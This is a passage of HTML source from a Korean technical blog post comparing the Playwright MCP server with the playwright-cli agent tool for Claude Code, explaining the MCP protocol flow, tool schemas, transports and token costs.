&lt;li&gt;기능별 상세 비교&lt;/li&gt;
&lt;li&gt;토큰 효율성 비교&lt;/li&gt;
&lt;li&gt;워크플로우 시나리오 비교&lt;/li&gt;
&lt;li&gt;Skills + CLI 조합: 실전 추천 스택&lt;/li&gt;
&lt;li&gt;MCP만 가능한 것 vs playwright-cli만 가능한 것&lt;/li&gt;
&lt;li&gt;소스 코드로 보는 내부 구조 &amp;mdash; 개발자 심화&lt;/li&gt;
&lt;li&gt;실전 선택 가이드 &amp;amp; 결론&lt;/li&gt;
&lt;li&gt;참고 자료&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 1. 비교의 배경 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. 비교의 배경 &amp;mdash; &quot;playwright-cli란 무엇인가?&quot;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;먼저 비교 대상을 명확히 정의해두는 것이 중요하다. 이 글에서 비교하는 두 접근법은 다음과 같다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;구분&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;Playwright MCP&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #dee2e6;&quot;&gt;playwright-cli&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;정의&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Microsoft 공식 &lt;code&gt;@playwright/mcp&lt;/code&gt; MCP 서버&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Microsoft 공식 &lt;code&gt;@playwright/cli&lt;/code&gt; 에이전트용 CLI 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;설치&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;별도 MCP 서버 설치 필요&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;npm install -g @playwright/cli@latest&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;호출 방식&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;MCP 프로토콜을 통해 Tool 호출&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;playwright-cli [command]&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;호환 환경&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Claude Code, Claude Desktop&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;Claude Code (Bash를 통해 실행 가능한 환경)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;주의: playwright-cli는 npx playwright와 다르다&lt;/b&gt;&lt;br /&gt;&lt;code&gt;npx playwright&lt;/code&gt;는 &lt;code&gt;@playwright/test&lt;/code&gt; 패키지의 테스트 실행용 CLI다 (&lt;code&gt;npx playwright test&lt;/code&gt;, &lt;code&gt;npx playwright codegen&lt;/code&gt; 등). 반면 이 글에서 비교하는 &lt;b&gt;playwright-cli&lt;/b&gt;는 &lt;code&gt;@playwright/cli&lt;/code&gt;로 별도 설치가 필요한 에이전트 전용 CLI다. 호출 방식도 &lt;code&gt;playwright-cli [command]&lt;/code&gt;로 다르다. Claude Code가 내부적으로 Skills를 통해 이 명령어들을 구성하므로, 사용자는 자연어로 요청하면 된다.&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;2025년 말부터 &quot;MCP가 죽었다&quot;는 논쟁이 지속되고 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Eric Holmes를 비롯한 여러 개발자들이 &lt;b&gt;LLM은 이미 CLI에 능숙하기 때문에 별도의 MCP 추상 계층이 불필요할 수 있다&lt;/b&gt;고 주장한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 많은 MCP 서버의 기능이 CLI로도 충분히 대체된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그러나 모든 MCP가 그런 것은 아니다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright MCP의 경우 Vision 모드처럼 CLI로는 재현하기 어려운 고유 기능이 존재한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;이 글은 그 경계를 명확히 그어보는 시도다.&lt;/p&gt;
&lt;!-- 2. MCP 스펙 이해하기 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. MCP 스펙 이해하기 &amp;mdash; Playwright MCP는 어떤 규격을 따르나?&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP(Model Context Protocol)는 Anthropic이 2024년 말 오픈소스로 공개한 프로토콜이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;기존에는 LLM 벤더마다 도구 호출 방식이 제각각이었는데(OpenAI function calling, Anthropic tool use 등), MCP는 이를 &lt;b&gt;하나의 표준 인터페이스&lt;/b&gt;로 통합하려는 시도이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Playwright MCP 역시 이 규격 위에서 작동한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;두 접근법의 차이를 제대로 이해하려면, MCP가 어떤 스펙인지 먼저 아는 것이 도움이 된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-1. 기반 프로토콜: JSON-RPC 2.0&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP는 &lt;b&gt;JSON-RPC 2.0&lt;/b&gt; 메시지 포맷 위에 세션 개념을 추가한 Stateful 프로토콜이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude(클라이언트)와 MCP 서버가 연결되면 다음 순서로 동작한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px; border: 1px solid #333; margin: 20px 0;&quot;&gt;
&lt;div style=&quot;color: #6a9955; margin-bottom: 8px;&quot;&gt;# MCP 통신 플로우: 클라이언트(Claude) &amp;harr; 서버(@playwright/mcp) # ※ 아래는 흐름 설명용 단순 표기. 실제 JSON-RPC 요청은 jsonrpc, id 필드를 포함한다.&lt;/div&gt;
&lt;pre class=&quot;arduino&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;// 1. 연결 초기화 (접속 시 1회)
Client &amp;rarr; Server: initialize  (프로토콜 버전, 클라이언트 정보 전달)
Server &amp;rarr; Client: {&quot;capabilities&quot;: {&quot;tools&quot;: {&quot;listChanged&quot;: true}}, ...}
                 // listChanged는 optional &amp;mdash; 미지원 서버는 tools: {} 로 선언
Client &amp;rarr; Server: notifications/initialized  (준비 완료)

// 2. 도구 목록 조회 (LLM이 어떤 도구가 있는지 파악)
Client &amp;rarr; Server: {&quot;method&quot;: &quot;tools/list&quot;}
Server &amp;rarr; Client: {&quot;result&quot;: {&quot;tools&quot;: [{name, description, inputSchema}, ...]}}
   &amp;rarr; LLM은 이 스키마를 읽고 어떤 파라미터로 호출할지 자율 판단

// 3. 도구 실행 (LLM이 필요할 때마다 호출)
Client &amp;rarr; Server: {&quot;method&quot;: &quot;tools/call&quot;,
                  &quot;params&quot;: {&quot;name&quot;: &quot;browser_navigate&quot;,
                             &quot;arguments&quot;: {&quot;url&quot;: &quot;https://example.com&quot;}}}
Server &amp;rarr; Client: {&quot;result&quot;: {&quot;content&quot;: [{&quot;type&quot;: &quot;text&quot;, &quot;text&quot;: &quot;...스냅샷...&quot;}],
                              &quot;isError&quot;: false}}
                 // isError: true &amp;rarr; 도구 실행 오류 (HTTP는 200이어도 도구는 실패)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-2. MCP 3대 Primitive &amp;mdash; 서버가 클라이언트에게 노출하는 것&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 스펙은 서버가 클라이언트에게 노출할 수 있는 세 가지 핵심 개념(primitive)을 정의한다. 각각의 &lt;b&gt;제어 주체가 다르다&lt;/b&gt;는 점이 중요하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;Primitive&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;제어 주체&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;역할&lt;/th&gt;
&lt;th style=&quot;padding: 12px; text-align: center; border: 1px solid #4a6a8a;&quot;&gt;Playwright MCP 사용 여부&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Tools&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;LLM (모델)&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;LLM이 자율적으로 호출하는 실행 가능한 함수. 브라우저 조작&amp;middot;API 호출 등에 사용&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 10px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;사용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Resources&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;호스트 앱&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;font-size: 12px; color: #666;&quot;&gt;(Claude Desktop, IDE 등)&lt;/span&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;URI로 식별되는 데이터 소스(파일, DB 등). 호스트 앱이 어떤 리소스를 컨텍스트에 포함할지 결정 (application-driven)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 10px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt; 미사용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Prompts&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;사용자&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;사용자가 명시적으로 선택하는 재사용 가능한 프롬프트 템플릿 (슬래시 커맨드 등)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 10px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt; 미사용&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Playwright MCP = Tools만 구현한 MCP 서버&lt;/b&gt;&lt;br /&gt;Playwright MCP는 공개된 README 및 문서 기준으로 &lt;b&gt;Tools만 사용&lt;/b&gt;한다. 브라우저 자동화 동작 전체를 Tool로 정의하고, LLM이 자율적으로 &lt;code&gt;tools/call&lt;/code&gt;로 호출하는 구조다. Resources나 Prompts는 문서상 언급되지 않는다.&lt;br /&gt;&lt;br /&gt;MCP 스펙상 서버는 &lt;code&gt;tools&lt;/code&gt; 외에도 &lt;code&gt;logging&lt;/code&gt;, &lt;code&gt;resources&lt;/code&gt;, &lt;code&gt;prompts&lt;/code&gt; 등을 capability로 복수 선언할 수 있다. &lt;code&gt;listChanged&lt;/code&gt;는 서버가 tool 목록 변경 알림을 지원할 때 선언하는 optional 필드다. 예: &lt;code&gt;{&quot;capabilities&quot;: {&quot;tools&quot;: {&quot;listChanged&quot;: true}}}&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;참고: MCP 스펙에는 Sampling, Roots, Elicitation 등 추가 기능도 정의되어 있으나, Playwright MCP는 이를 사용하지 않으므로 이 글에서는 다루지 않는다.&lt;br /&gt;&lt;br /&gt;(출처: &lt;a href=&quot;https://modelcontextprotocol.io/docs/concepts/tools&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;MCP 공식 스펙 &amp;mdash; Tools&lt;/a&gt; / &lt;a href=&quot;https://www.npmjs.com/package/@playwright/mcp&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;@playwright/mcp npm 패키지&lt;/a&gt;)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-3. Tool Schema 구조 &amp;mdash; LLM이 어떻게 도구를 이해하는가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 스펙에서 Tool은 &lt;b&gt;name, description, inputSchema&lt;/b&gt;로 구성된다. LLM은 이 스키마를 읽고 어떤 파라미터로 호출할지 자율 판단한다. Playwright MCP의 실제 Tool 정의 예시:&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto; margin: 20px 0;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; padding: 8px; vertical-align: top;&quot;&gt;&lt;span&gt;browser_navigate (탐색 Tool)&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px; border: 1px solid #333;&quot;&gt;&lt;span&gt;{ &lt;span class=&quot;hljs-attr&quot;&gt;&quot;name&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;browser_navigate&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;description&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;Navigate to a URL&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;inputSchema&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;object&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;properties&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;url&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;string&quot;&lt;/span&gt; } }, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;required&quot;&lt;/span&gt;: [&lt;span class=&quot;hljs-string&quot;&gt;&quot;url&quot;&lt;/span&gt;] }, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;annotations&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;readOnlyHint&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-literal&quot;&gt;false&lt;/span&gt; } }&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 50%; padding: 8px; vertical-align: top;&quot;&gt;&lt;span&gt;browser_click (클릭 Tool)&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 12px; border: 1px solid #333;&quot;&gt;&lt;span&gt;{ &lt;span class=&quot;hljs-attr&quot;&gt;&quot;name&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;browser_click&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;description&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;Click on a web page element&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;inputSchema&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;object&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;properties&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;element&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;string&quot;&lt;/span&gt; }, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;ref&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;string&quot;&lt;/span&gt; }, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;button&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;string&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;enum&quot;&lt;/span&gt;: [&lt;span class=&quot;hljs-string&quot;&gt;&quot;left&quot;&lt;/span&gt;,&lt;span class=&quot;hljs-string&quot;&gt;&quot;right&quot;&lt;/span&gt;,&lt;span class=&quot;hljs-string&quot;&gt;&quot;middle&quot;&lt;/span&gt;] }, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;doubleClick&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;boolean&quot;&lt;/span&gt; }, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;modifiers&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;array&quot;&lt;/span&gt;, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;items&quot;&lt;/span&gt;: { &lt;span class=&quot;hljs-attr&quot;&gt;&quot;type&quot;&lt;/span&gt;: &lt;span class=&quot;hljs-string&quot;&gt;&quot;string&quot;&lt;/span&gt; } } }, &lt;span class=&quot;hljs-attr&quot;&gt;&quot;required&quot;&lt;/span&gt;: [&lt;span class=&quot;hljs-string&quot;&gt;&quot;ref&quot;&lt;/span&gt;] } }&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8d7da; border-left: 4px solid #dc3545; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;ref란 무엇인가?&lt;/b&gt;&lt;br /&gt;&lt;code&gt;browser_click&lt;/code&gt;의 &lt;code&gt;ref&lt;/code&gt;는 접근성 트리에서 각 요소에 부여되는 고유 식별자다 (예: &lt;code&gt;e5&lt;/code&gt;, &lt;code&gt;e12&lt;/code&gt;). &lt;code&gt;browser_snapshot&lt;/code&gt;을 먼저 호출해서 트리를 받은 후, LLM이 그 안에서 원하는 요소의 &lt;code&gt;ref&lt;/code&gt;를 확인하고 클릭에 사용한다. playwright-cli의 &lt;code&gt;snapshot &amp;rarr; click e5&lt;/code&gt; 흐름과 동일한 개념이지만, MCP는 이 과정이 JSON-RPC 메시지 교환으로 이루어진다.&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;2-4. Transport &amp;mdash; 어떻게 연결되고, 왜 토큰이 더 소모되는가&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;MCP 스펙은 두 가지 공식 Transport를 정의한다. Playwright MCP는 기본적으로 &lt;b&gt;stdio&lt;/b&gt;를 사용하며, 이 방식이 토큰 소모 차이의 근본 원인이 된다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef; overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #1a3a52; color: white;&quot;&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;Transport&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;방식&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;사용 환경&lt;/th&gt;
&lt;th style=&quot;padding: 10px; text-align: left; border: 1px solid #4a6a8a;&quot;&gt;Playwright MCP&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Stdio&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;표준 입출력 (stdin/stdout)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;로컬 머신 프로세스 간 통신 (Claude Desktop 등)&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;기본값&lt;/b&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;b&gt;Streamable HTTP&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;HTTP POST(요청) + GET(SSE 스트림 수신), 응답은 JSON 또는 SSE&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;원격 서버, Docker, CI/CD 환경&lt;/td&gt;
&lt;td style=&quot;padding: 10px; border: 1px solid #dee2e6;&quot;&gt;&lt;code&gt;--port 8931&lt;/code&gt; 옵션으로 활성화&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9fa; padding: 20px; border-radius: 8px; margin: 20px 0; border: 1px solid #e9ecef;&quot;&gt;
&lt;p style=&quot;margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;MCP (stdio) vs playwright-cli (Bash subprocess) 연결 구조&lt;/p&gt;
&lt;div style=&quot;overflow-x: auto;&quot;&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; font-size: 13px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 50%; padding: 8px; vertical-align: top;&quot;&gt;&lt;span&gt;Playwright MCP (stdio)&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 14px; border-radius: 6px; font-family: monospace; font-size: 12px;&quot;&gt;&lt;span&gt;&lt;span class=&quot;hljs-selector-tag&quot;&gt;LLM&lt;/span&gt; (Claude) ↕ &lt;span class=&quot;hljs-selector-tag&quot;&gt;JSON-RPC&lt;/span&gt; &lt;span class=&quot;hljs-selector-tag&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;hljs-selector-class&quot;&gt;.0&lt;/span&gt; / &lt;span class=&quot;hljs-selector-tag&quot;&gt;stdio&lt;/span&gt; &lt;span class=&quot;hljs-selector-tag&quot;&gt;MCP&lt;/span&gt; 서버 프로세스 (상주, persistent) &amp;rarr; &lt;span class=&quot;hljs-selector-tag&quot;&gt;Playwright&lt;/span&gt; &lt;span class=&quot;hljs-selector-tag&quot;&gt;API&lt;/span&gt; &amp;rarr; &lt;span class=&quot;hljs-selector-tag&quot;&gt;Chromium&lt;/span&gt; &lt;span class=&quot;hljs-selector-attr&quot;&gt;[tool 응답]&lt;/span&gt; &lt;span class=&quot;hljs-selector-tag&quot;&gt;accessibility&lt;/span&gt; &lt;span class=&quot;hljs-selector-tag&quot;&gt;snapshot&lt;/span&gt; &amp;rarr; &lt;span class=&quot;hljs-selector-tag&quot;&gt;LLM&lt;/span&gt; &lt;span class=&quot;hljs-selector-tag&quot;&gt;context&lt;/span&gt; &lt;span class=&quot;hljs-selector-tag&quot;&gt;window&lt;/span&gt;에 직접 삽입 &amp;rarr; 수천 토큰 소모 (스크린샷은 base64)&lt;/span&gt;&lt;/div&gt;
&lt;/td&gt;
&lt;td style=&quot;width: 50%; padding: 8px; vertical-align: top;&quot;&gt;&lt;span&gt;playwright-cli (Bash subprocess)&lt;/span&gt;&lt;br /&gt;
